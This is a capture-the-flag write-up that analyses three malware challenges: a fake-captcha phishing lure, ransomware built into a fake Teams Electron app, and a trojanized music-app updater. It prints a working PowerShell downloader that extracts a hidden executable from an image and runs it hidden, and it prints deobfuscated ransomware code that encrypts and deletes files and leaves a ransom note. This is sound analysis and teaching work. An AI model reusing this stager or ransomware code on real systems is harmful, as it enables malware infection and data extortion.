Malware

Challenge
Topic

Rust, Stripped, C2

Electron, Ransomware

Staged, PyArmor, Exfiltration

A Mule Stealer

Description

[IMPORTANT] This challenge involves working with malicious files. While we have done our best to ensure that these files cause no malicious impact if launched accidentally, please be careful when working with them.

Is this a rabbit? Or a cat? Or a crabbit..., maybe? I'm instructed not to click on weird attachments, but this one should be my background image for real!

Solution

Given EML file, we can use EML viewer online to view it.

By clicking video hyperlink we will redirected to a fake captcha URL. Through analyzing the HTML source we will see that it will execute HTA file that execute a powershell command below

powershell.exe -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAANAAoAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAnAGgAdAB0AHAAcwA6AC8ALwB2AGUAcgBpAGYAeQBjAGUAcgB0AC4AdABhAHMAawAuAHMAYQBzAGMALgB0AGYALwBmAGwAYQBnAC4AcABuAGcAJwApAA0ACgAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACwAJABiAHkAdABlAHMAKQANAAoAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAKAAkAG0AcwApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAQgBpAHQAcwBUAG8AQgB5AHQAZQAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAWwBiAG8AbwBsAFsAXQBdACQAYgBpAHQAcwAsACAAWwBpAG4AdABdACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApAA0ACgAgACAAIAAgACQAdgBhAGwAIAA9ACAAMAANAAoAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAOAA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABiAGkAdABzAFsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwAgACQAaQBdACkAIAB7ACAAJAB2AGEAbAAgAD0AIAAkAHYAYQBsACAALQBiAG8AcgAgACgAMQAgAC0AcwBoAGwAIAAkAGkAKQAgAH0ADQAKACAAIAAgACAAfQANAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgAFsAYgB5AHQAZQBdACQAdgBhAGwADQAKAH0ADQAKACQAYgBpAHQATABpAHMAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJwBTAHkAcwB0AGUAbQAuAEMAbwBsAGwAZQBjAHQAaQBvAG4AcwAuAEcAZQBuAGUAcgBpAGMALgBMAGkAcwB0AFsAYgBvAG8AbABdACcADQAKAGYAbwByACAAKAAkAHkAIAA9ACAAMAA7ACAAJAB5ACAALQBsAHQAIAAkAGIAbQBwAC4ASABlAGkAZwBoAHQAOwAgACQAeQArACsAKQAgAHsADQAKACAAIAAgACAAZgBvAHIAIAAoACQAeAAgAD0AIAAwADsAIAAkAHgAIAAtAGwAdAAgACQAYgBtAHAALgBXAGkAZAB0AGgAOwAgACQAeAArACsAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAkAHIAIAA9ACAAJABiAG0AcAAuAEcAZQB0AFAAaQB4AGUAbAAoACQAeAAsACAAJAB5ACkALgBSAA0ACgAgACAAIAAgACAAIAAgACAAWwB2AG8AaQBkAF0AJABiAGkAdABMAGkAcwB0AC4AQQBkAGQAKAAoACQAcgAgAC0AYgBhAG4AZAAgADEAKQApAA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKACQAYgBpAHQAcwAgAD0AIAAkAGIAaQB0AEwAaQBzAHQALgBUAG8AQQByAHIAYQB5ACgAKQANAAoAJABzAGkAegBlAEIAeQB0AGUAcwAgAD0AIAAwAC4ALgAzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIABCAGkAdABzAFQAbwBCAHkAdABlACAAJABiAGkAdABzACAAKAAkAF8AIAAqACAAOAApACAAfQANAAoAJABwAGEAeQBsAG8AYQBkAEwAZQBuACAAPQAgAFsAQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAEkAbgB0ADMAMgAoACQAcwBpAHoAZQBCAHkAdABlAHMALAAgADAAKQANAAoAJABwAGEAeQBsAG8AYQBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACQAcABhAHkAbABvAGEAZABMAGUAbgANAAoAZgBvAHIAIAAoACQAYgAgAD0AIAAwADsAIAAkAGIAIAAtAGwAdAAgACQAcABhAHkAbABvAGEAZABMAGUAbgA7ACAAJABiACsAKwApACAAewANAAoAIAAgACAAIAAkAHAAYQB5AGwAbwBhAGQAWwAkAGIAXQAgAD0AIABCAGkAdABzAFQAbwBCAHkAdABlACAAJABiAGkAdABzACAAKAAzADIAIAArACAAJABiACAAKgAgADgAKQANAAoAfQANAAoAJABkAGkAcgAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQAgACcAdABlAG0AcAAnAA0ACgAkAG8AdQB0AEYAaQBsAGUAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGQAaQByACAAJwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAJwANAAoAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAbwB1AHQARgBpAGwAZQAsACAAJABwAGEAeQBsAG8AYQBkACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAbwB1AHQARgBpAGwAZQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4ADQAKAA0ACgA=

To get the executed command we can run base64 decode on it and print it as utf-16

import base64

cmd = "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAANAAoAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAnAGgAdAB0AHAAcwA6AC8ALwB2AGUAcgBpAGYAeQBjAGUAcgB0AC4AdABhAHMAawAuAHMAYQBzAGMALgB0AGYALwBmAGwAYQBnAC4AcABuAGcAJwApAA0ACgAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACwAJABiAHkAdABlAHMAKQANAAoAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAKAAkAG0AcwApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAQgBpAHQAcwBUAG8AQgB5AHQAZQAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAWwBiAG8AbwBsAFsAXQBdACQAYgBpAHQAcwAsACAAWwBpAG4AdABdACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApAA0ACgAgACAAIAAgACQAdgBhAGwAIAA9ACAAMAANAAoAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAOAA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABiAGkAdABzAFsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwAgACQAaQBdACkAIAB7ACAAJAB2AGEAbAAgAD0AIAAkAHYAYQBsACAALQBiAG8AcgAgACgAMQAgAC0AcwBoAGwAIAAkAGkAKQAgAH0ADQAKACAAIAAgACAAfQANAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgAFsAYgB5AHQAZQBdACQAdgBhAGwADQAKAH0ADQAKACQAYgBpAHQATABpAHMAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJwBTAHkAcwB0AGUAbQAuAEMAbwBsAGwAZQBjAHQAaQBvAG4AcwAuAEcAZQBuAGUAcgBpAGMALgBMAGkAcwB0AFsAYgBvAG8AbABdACcADQAKAGYAbwByACAAKAAkAHkAIAA9ACAAMAA7ACAAJAB5ACAALQBsAHQAIAAkAGIAbQBwAC4ASABlAGkAZwBoAHQAOwAgACQAeQArACsAKQAgAHsADQAKACAAIAAgACAAZgBvAHIAIAAoACQAeAAgAD0AIAAwADsAIAAkAHgAIAAtAGwAdAAgACQAYgBtAHAALgBXAGkAZAB0AGgAOwAgACQAeAArACsAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAkAHIAIAA9ACAAJABiAG0AcAAuAEcAZQB0AFAAaQB4AGUAbAAoACQAeAAsACAAJAB5ACkALgBSAA0ACgAgACAAIAAgACAAIAAgACAAWwB2AG8AaQBkAF0AJABiAGkAdABMAGkAcwB0AC4AQQBkAGQAKAAoACQAcgAgAC0AYgBhAG4AZAAgADEAKQApAA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKACQAYgBpAHQAcwAgAD0AIAAkAGIAaQB0AEwAaQBzAHQALgBUAG8AQQByAHIAYQB5ACgAKQANAAoAJABzAGkAegBlAEIAeQB0AGUAcwAgAD0AIAAwAC4ALgAzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIABCAGkAdABzAFQAbwBCAHkAdABlACAAJABiAGkAdABzACAAKAAkAF8AIAAqACAAOAApACAAfQANAAoAJABwAGEAeQBsAG8AYQBkAEwAZQBuACAAPQAgAFsAQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAEkAbgB0ADMAMgAoACQAcwBpAHoAZQBCAHkAdABlAHMALAAgADAAKQANAAoAJABwAGEAeQBsAG8AYQBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACQAcABhAHkAbABvAGEAZABMAGUAbgANAAoAZgBvAHIAIAAoACQAYgAgAD0AIAAwADsAIAAkAGIAIAAtAGwAdAAgACQAcABhAHkAbABvAGEAZABMAGUAbgA7ACAAJABiACsAKwApACAAewANAAoAIAAgACAAIAAkAHAAYQB5AGwAbwBhAGQAWwAkAGIAXQAgAD0AIABCAGkAdABzAFQAbwBCAHkAdABlACAAJABiAGkAdABzACAAKAAzADIAIAArACAAJABiACAAKgAgADgAKQANAAoAfQANAAoAJABkAGkAcgAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQAgACcAdABlAG0AcAAnAA0ACgAkAG8AdQB0AEYAaQBsAGUAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGQAaQByACAAJwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAJwANAAoAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAbwB1AHQARgBpAGwAZQAsACAAJABwAGEAeQBsAG8AYQBkACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAbwB1AHQARgBpAGwAZQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4ADQAKAA0ACgA="
print(base64.b64decode(cmd).strip().decode('utf-16-le'))
Add-Type -AssemblyName System.Drawing
$wc = New-Object System.Net.WebClient
[byte[]]$bytes = $wc.DownloadData('https://verifycert.task.sasc.tf/flag.png')
$ms = New-Object System.IO.MemoryStream(,$bytes)
$bmp = New-Object System.Drawing.Bitmap($ms)

function BitsToByte {
    param([bool[]]$bits, [int]$startIndex)
    $val = 0
    for ($i = 0; $i -lt 8; $i++) {
        if ($bits[$startIndex + $i]) { $val = $val -bor (1 -shl $i) }
    }
    return [byte]$val
}
$bitList = New-Object 'System.Collections.Generic.List[bool]'
for ($y = 0; $y -lt $bmp.Height; $y++) {
    for ($x = 0; $x -lt $bmp.Width; $x++) {
        $r = $bmp.GetPixel($x, $y).R
        [void]$bitList.Add(($r -band 1))
    }
}
$bits = $bitList.ToArray()
$sizeBytes = 0..3 | ForEach-Object { BitsToByte $bits ($_ * 8) }
$payloadLen = [BitConverter]::ToInt32($sizeBytes, 0)
$payload = New-Object byte[] $payloadLen
for ($b = 0; $b -lt $payloadLen; $b++) {
    $payload[$b] = BitsToByte $bits (32 + $b * 8)
}
$dir = Join-Path $env:LOCALAPPDATA 'temp'
$outFile = Join-Path $dir 'svchost.exe'
[System.IO.File]::WriteAllBytes($outFile, $payload)
Start-Process -FilePath $outFile -WindowStyle Hidden

By removing last line, we will get file svchost.exe in directory C:\Users\<username>\AppData\Local\temp\ . Next we need to analyze svchost.exe file.

First, when we check available strings on the executable we will know that the executable built with Rust.

The functions are stripped, but we can try to recover library function by using Cerberus. Although not all library function has been successfully recovered but the recovery results are quite helpful.

Through running the executable on sandbox, we can see that there are access to http://backupstorage.task.sasc.tf/out and http://backupstorage.task.sasc.tf/in. By utilizing API monitor we can see that after accessing /in , malware will execute system command which is type flag.txt. Since we've recovered some function name, we can take a look on function related to command execution

std::sys::process::windows::Command::new::ha91b5c00c22479af

Looking at xref, we found one user defined function which call that function which is sub_14004BF20. Set up breakpoint on address 0x14001F5CB that call function sub_14004BF20 . While debugging we will see that the output from command type flag.txt will be carried out and passed to function sub_14004BCB0 . Through static analysis we can see that function sub_14004BCB0 do RC4 encryption.

sub_14004BCB0 - SBOX initialization
  v21[0] = xmmword_1403302B0;
  v21[1] = xmmword_1403302C0;
  qmemcpy(v22, " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmno", 80);
  v22[5] = xmmword_140330320;
  v22[6] = xmmword_140330330;
  v22[7] = xmmword_140330340;
  v22[8] = xmmword_140330350;
  v22[9] = xmmword_140330360;
  v22[10] = xmmword_140330370;
  v22[11] = xmmword_140330380;
  v22[12] = xmmword_140330390;
  v22[13] = xmmword_1403303A0;
  if ( !a3 )
    core::panicking::panic_const::panic_const_gen_fn_none_panic::he55d07833a68dc9c_22(&off_1403308C0);
  v8 = 0LL;
  v9 = 0;
  do
  {
    v11 = *((_BYTE *)v21 + v8);
    if ( (a3 | v8) >> 32 )
      v10 = v8 % a3;
    else
      v10 = (unsigned int)v8 % (unsigned int)a3;
    v9 += *(_BYTE *)(a2 + v10) + v11;
    *((_BYTE *)v21 + v8++) = *((_BYTE *)v21 + v9);
    *((_BYTE *)v21 + v9) = v11;
  }
  while ( v8 != 256 );
----------SNIPPET----------
  sub_14004A180(v20, (__int64)v19);
  *(_QWORD *)(a1 + 16) = v18;
  *(_OWORD *)a1 = v17;
  return a1;

In the end of function sub_14004BCB0 we can see that there is a call to function sub_14004A180.

sub_14004A180 - encrypt/decrypt algorithm
 do
    {
      v12 = *(_BYTE *)(v2 + v11);
      v13 = (unsigned __int8)(*v6 + 1);
      *(_QWORD *)v6 = v13;
      v14 = (unsigned __int8)(*(_BYTE *)v7 + *(_BYTE *)(v8 + v13));
      *v7 = v14;
      v15 = *(_QWORD *)v6;
      if ( *(_QWORD *)v6 >= 0x100uLL )
        core::panicking::panic_bounds_check::hd27beb7b2bd17d70(v15, 256LL, &off_1403308D8, v5);
      v16 = *(_BYTE *)(v8 + v15);
      *(_BYTE *)(v8 + v15) = *(_BYTE *)(v8 + v14);
      *(_BYTE *)(v8 + v14) = v16;
      v17 = *(_QWORD *)v6;
      if ( *(_QWORD *)v6 > 0xFFuLL )
        core::panicking::panic_bounds_check::hd27beb7b2bd17d70(v17, 256LL, &off_1403308F0, v5);
      if ( *v7 >= 0x100uLL )
        core::panicking::panic_bounds_check::hd27beb7b2bd17d70(*v7, 256LL, &off_140330908, v5);
      *(_BYTE *)(v9 + v5++) = *(_BYTE *)(v8 + (unsigned __int8)(*(_BYTE *)(v8 + v17) + *(_BYTE *)(v8 + *v7))) ^ v12;
      ++v11;
    }
    while ( v10 != v11 );

Through static analysis we can see also that function sub_14004A180 do encryption/decryption part of RC4. So by looking at function arguments or variable in function we can clearly get the key used to do the encryption in this case. During the competition, the process of sending ciphertext to the server was denied (no write permission to the server), so we can conclude that the file exist on the server is the ciphertext of flag.txt. So download the file then decrypt using RC4 to get the flag.

from arc4 import ARC4

a = "09DC6E7F7782A4B5877BD0267FC3605FDFE126B95A46C0BE63D0740EE80EEE46"
f = open("exfiltr8.txt", "rb").read()
cipher = ARC4(bytes.fromhex(a))
print(cipher.decrypt(f))

Flag: SAS{c475_w17h_r4bb17_34r5_c4n_d3liv4r_m4lw4r3}

Best Teams Forever

Description

[IMPORTANT] This challenge involves working with malicious files. While we have done our best to ensure that these files cause no malicious impact if launched accidentally, please be careful when working with them.

Hi! This is Bob from incident response.

Reaching to you regarding that ransomware attack we've had on our side-hosted server running "Windows Server 2019 Standard (17763.3650)". I was really surprised to find out MS Teams on the application list. Like, this a server, why would you need a corporate chat there?

That looks kinda SUS, aren't you thinking so? That being said, attaching some related artifacts. Check asap.

Best regards, Bob Guzini, Neck of IR Department.

Solution

Given file archive that contains executable and other related files. By decompiling Teams.exe we will see that the pdb file of Teams.exe is electron.exe.pdb.

From that information we know that the application is an electron based, so let's take a look on resources directory. In resources directory there is app.asar which lies the code executed by the electron application. To unarchive asar file, we can use following command

npx asar extract app.asar output 

Looking at index.js, we can see that the code is obfuscated so let's use online deobfuscator for it. Scrolling down we will see the main code as follows

const {
  app: _0x4ba9f2
} = require("electron");
const _0x54dc42 = require('v8');
const _0x5e1cfd = require('vm');
_0x4ba9f2.commandLine.appendSwitch("js-flags", "--expose_gc");
_0x54dc42.setFlagsFromString("--expose_gc");
global.gc = _0x5e1cfd.runInNewContext('gc');
(function _0x4badfc() {
  process.on("uncaughtException", _0x4a1fa2 => {});
  process.on("unhandledRejection", (_0x3e45b4, _0x573839) => {});
  process.on("warning", _0x4225ea => {});
  try {
    _0x4cfb1f(2147483650, "SOFTWARE\\Microsoft", "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft");
  } catch (_0x218151) {}
  if (_0x3544df == null || _0x439019 == null) {
    _0x3544df = _0x1fdca3.createHash("sha256").update(_0x28a4d9).digest();
    _0x439019 = _0x1fdca3.createHash("md5").update(_0x28a4d9).digest();
  }
  const _0x2b6c61 = _0x362d4c.readdirSync("C:\\sasctf_77a44d458a057afe4beed9de71923f65e1fcf230baa916d48359dd8926826521");
  for (const _0x12ee6c of _0x2b6c61) {
    const _0xa9f56c = _0x349506.join("C:\\sasctf_77a44d458a057afe4beed9de71923f65e1fcf230baa916d48359dd8926826521", _0x12ee6c);
    const _0x5d4a9a = _0x349506.join("C:\\sasctf_77a44d458a057afe4beed9de71923f65e1fcf230baa916d48359dd8926826521", _0x12ee6c + ".enc");
    try {
      const _0x396328 = _0x362d4c.statSync(_0xa9f56c);
      if (_0x396328.isFile() && !_0xa9f56c.includes(".enc") && !_0xa9f56c.includes("restore_files")) {
        _0x26a82b(_0xa9f56c, _0x5d4a9a);
      }
    } catch (_0x463ea2) {}
  }
  _0x362d4c.writeFileSync(_0x349506.join("C:\\sasctf_77a44d458a057afe4beed9de71923f65e1fcf230baa916d48359dd8926826521", "restore_files.txt"), "Your files has been encrypted\nTo recover them you need decryption tool\n\nContact us\n\nDownload TOR Browser https://www.torproject.org/download/ (sometimes need VPN to download)\nOpen TOR browser and follow by link below:\nhttp://tslvj33xw1hxywownd1rgljotmp2rzekln6qeg71c4oaapmn70ug5im0.onion/WJlI0Po6dh7XgxzRwIJUIjtvapjg7pmh\n\nInclude one of encrypted files in letter\nOur guarantee: we provide free decyrption for 3 files up to 3 megabytes (not zip,db,backup)");
  process.exit(0);
})();

At initial, there is execution of function _0x4cfb1f . By static analysis we can see that function _0x4cfb1f mainly do the following behavior

  • Open registry key

  • Check if _0x3544df or _0x439019 has been filled or not after random check based on Math.random

    • if null, _0x3544df will be filled with sha256 of _0x4478ea

    • if null, _0x439019 will be filled with md5 of _0x4478ea

    • _0x3544df and _0x439019 is not filled with the same _0x4478ea

  • Enumerate key inside HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft and recursively call _0x4cfb1f

So we can conclude that function _0x4cfb1f will choose randomly key inside HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft and put the hash of it in _0x3544df or _0x439019.

After calling _0x4cfb1f , if _0x3544df or _0x439019 is null, it will be filled with _0x28a4d9 which is the last value of the enumerated key in function _0x4cfb1f . Next, the malware will read files in directory C:\sasctf_77a44d458a057afe4beed9de71923f65e1fcf230baa916d48359dd8926826521 that doesn't have .enc or restore_files in filename. The encryption function lies on function _0x26a82b.

function _0x26a82b(_0x4de7e6, _0x286880) {
  const _0x2892d1 = {
    DlpNn: "sha256"
  };
  _0x2892d1.TNpiH = "aes-256-cbc";
  _0x2892d1.Cbssn = function (_0x3d73a, _0x526ec5) {
    return _0x3d73a * _0x526ec5;
  };
  _0x2892d1.uTMaD = function (_0xa9c4bb, _0x4e8a7b) {
    return _0xa9c4bb > _0x4e8a7b;
  };
  _0x2892d1.acVAu = function (_0x41bad7, _0x22e6a9) {
    return _0x41bad7 === _0x22e6a9;
  };
  _0x2892d1.cHkvD = "Awplq";
  _0x2892d1.rgkhk = "hJYhk";
  const _0x15f440 = _0x1fdca3.publicEncrypt({
    'key': "-----BEGIN PUBLIC KEY-----\nMIIBITANBgkqhkiG9w0BAQEFAAOCAQ4AMIIBCQKCAQB169c3+EojrL2XH6yT6DZK\n+W35BTDgo5aCudleFOFckg1g22F26Rwtv6a2OGiyOK81yizQpyJz5UgRHaEzoh8c\n2ciWUNfjcu3n/w8Q5Rpe9Zz07HUN91mgZhHF+sP9n8uPFEzgAccsKURofedHOE+t\n2EgDlTRD1pZd+VP8G5eQOoMri0SXj6gaAFWef86E+YNh9WCJ2gSqbLFyFjH37EQM\nrySP8CSJmr/irvB1GQyejJhpWp2psBsqsWMe9/JJ7f76I0Sj1ym/Ta/hStq7kBku\na6vUjS7yb5ZRMAGZfg5uuAH8a9Io7CUqT+Uyq5EV4AhwSZxDR565QeLLKuxGDVup\nAgMBAAE=\n-----END PUBLIC KEY-----",
    'padding': _0x1fdca3.constants.RSA_PKCS1_OAEP_PADDING,
    'oaepHash': "sha256"
  }, Buffer.concat([_0x3544df, _0x439019]));
  _0x362d4c.writeFileSync(_0x286880, _0x15f440);
  const _0x4e5496 = _0x1fdca3.createCipheriv(_0x2892d1.TNpiH, _0x3544df, _0x439019);
  const _0x303520 = _0x2892d1.Cbssn(64, 1024);
  const _0x2f5da3 = _0x362d4c.openSync(_0x4de7e6, 'r');
  const _0x243355 = _0x362d4c.openSync(_0x286880, 'a');
  const _0x5d4c6b = Buffer.alloc(_0x303520);
  let _0x2ac920;
  while (_0x2892d1.uTMaD(_0x2ac920 = _0x362d4c.readSync(_0x2f5da3, _0x5d4c6b, 0, _0x303520, null), 0)) {
    if (_0x2892d1.acVAu(_0x2892d1.cHkvD, _0x2892d1.rgkhk)) {
      const _0x56ee25 = _0x454237.apply(_0x5749bd, arguments);
      _0x5bbf39 = null;
      return _0x56ee25;
    } else {
      const _0x2d166a = _0x4e5496.update(_0x5d4c6b.slice(0, _0x2ac920));
      _0x362d4c.writeSync(_0x243355, _0x2d166a);
    }
  }
  _0x362d4c.writeSync(_0x243355, _0x4e5496.final());
  _0x362d4c.closeSync(_0x2f5da3);
  _0x362d4c.closeSync(_0x243355);
  _0x362d4c.unlinkSync(_0x4de7e6);
}

By analyzing it statically we can conclude what code above did

  • Encrypt _0x3544df and _0x439019 using RSA

    • By getting the RSA parameter we found that it is hard/impossible to recover the private key because it use standard RSA implementation

    • Put the RSA ciphertext to the .enc file

  • Create AES cipher with key _0x3544df and iv _0x439019

    • Encrypt the file passed with AES

Until this step we know that there is a vulnerability in the encryption since it use "bruteforceable" information to derive a key. Because we know that the client use following OS Windows Server 2019 Standard (17763.3650) we can try to setup the operating system and dump the registry key. After trying several option we found the right one, which is en version with desktop installation.

During the installation process, we also make sure the formatting of the registry key by modifying the asar file. To do this, we modified the index.js and pack the code again.

  • We put following code 2 times, near the hashing process of _0x3544df which is inside recursive function and main function.

Pack the code with following command

asar pack tmp app.asar

Then we just need to create a file aaa.txt and any .txt file inside C:\sasctf_77a44d458a057afe4beed9de71923f65e1fcf230baa916d48359dd8926826521 . After that run the executable and got the key written in aaa.txt . Following is the example of key before it hashed.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MMC\NodeTypes\{E3EDFDFF-D0C3-11d1-955B-0000F803A951}

Back to the installed windows server, we can dump the registry using following command

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft" /s > "C:\Microsoft_Registry.txt"

Because the encryption using AES-CBC, if we use invalid IV it will only failed to decrypt the first block but the rest block is valid. Looking at important.txt.enc file we saw that the file is not small, so we can reduce the bruteforce time by only bruteforcing the key (with assumption the IV is different key).

from Crypto.Cipher import AES
import hashlib

f = open("Microsoft_Registry.txt", "rb").read()
ct = open("important.txt.enc", "rb").read()[256:]
fake_iv = b"\x00" * 16
for i in f.split(b"\n"):
	if b"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft" in i:
		possible_key = i[:-1]
		sha256_reg = hashlib.sha256(possible_key).digest()
		cipher = AES.new(sha256_reg, AES.MODE_CBC, fake_iv)
		out = cipher.decrypt(ct)
		try:
			out[-32:-16].decode() # assuming n-1 block is valid utf-8
			if b"SAS{" in out:
				print(out)
		except Exception as e:
			continue

Flag: SAS{N0_M0r3_R4n50m_f0r_53rv3r5}

Music Speed Changer

Description

[IMPORTANT] This challenge involves working with malicious files. While we have done our best to ensure that these files cause no malicious impact if launched accidentally, please be careful when working with them.

I miss those times when discord bots had an ability to play music... With a single button press you can change speed, pitch, bass... I like some tracks to bee speedy, some to be slow, some to bang from the back.

I was seeking for a solution for so long, and luckily found one! Or so I thought... Yesterday my friend from a local secret service called me and said I should change my passwords. How could he know? He refused to answer :(

Solution

Given .dmp file which is a network dump, we can open it using mitmweb. Looking at the traffic we will see some suspicious traffic to domain musicspeedchanger.online.

fetcher.php is an endpoint to download executable file named setup.exe

Let's download the file and open it in IDA. By looking at the code, we can see that setup.exe is an installer, we can extract the file inside by using 7z.

7z x setup.exe

There are some executable files, looking on it one by one we found suspicious executable which is upd.exe. From the pdb name we know that upd likely an executable to do the update for the MusicSpeedChanger. We can see access to https://musicspeedchanger.online/fetcher.php?uid= in main function and it match with the data in network dump.

Let's understand the program by statically and dynamically analysis it.

  dwHandle = 0;
  sub_140001AE0((__int64)Block);
  v0 = 2;
  if ( Block[2] )
  {
    GetTempPathW(0x104u, Buffer);
------------SNIPPET------------
        *(_QWORD *)&ProcessInformation.dwProcessId = 0LL;
        v69 = 7LL;
        LOWORD(ProcessInformation.hProcess) = 0;
        GetTempFileNameW(Buffer, L"upd", 0, TempFileName);
        PathRenameExtensionW(TempFileName, L".enc");
        *(_OWORD *)lpFileName = 0LL;
        v66 = 0LL;
        v67 = 0LL;
        v2 = -1LL;
        v12 = -1LL;
        do
          ++v12;
        while ( TempFileName[v12] );
        sub_140005BD0(lpFileName, TempFileName, v12);
        v13 = sub_140001FB0((__int64)&URL, (const WCHAR *)lpFileName);
------------SNIPPET------------
  • sub_140001AE0 get value for MachineGuid

  • Buffer will store temporary directory, e.g

    • C:\Users\ryuk\AppData\Local\Temp\

  • Create a random filename with prefix upd with extension .enc

  • sub_140005BD0 will copy arg2 to arg1

  • sub_140001FB0 will access URL https://musicspeedchanger.online/fetcher.php?uid=<machine_guid> and store the response which is a file in <temp>/upd<random>.enc

Looking at the next code, we will see call to a function sub_140002650.

        v14 = (const WCHAR *)lpFileName;
        if ( !v13 )
          goto LABEL_29;
        if ( sub_140002650((const WCHAR *)lpFileName) )
          break;
        v14 = (const WCHAR *)lpFileName;
LABEL_29:
        if ( v67 >= 8 )
          v14 = lpFileName[0];
        DeleteFileW(v14);
        Sleep(0xEA60u);

Function sub_140002650 do the decryption of .enc file, we know it by looking at the code

To get the decrypted version we don't need to reconstruct the decrypt function. Because in this case we've network dump, so basically we can repeat the process same like the infected machine. Following is the idea

  • Create fake server with HTTPs

    • Generate self-signed cert and install cert on our sandbox machine

    • Fake server will sent the same data like in network dump

  • Directly put our fake HTTPs server ip address in /etc/hosts. E.g

    • musicspeedchanger.online 192.168.137.2

Generate self-signed certificate first, put musicspeedchanger.online as FQDN

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout key.pem -out cert.pem

Convert cert.pem to .der, then install .der fileto sandbox machine

openssl x509 -in cert.pem -out cert.der -outform DER
from flask import Flask, request, jsonify, send_file
import json

COUNTER = 0

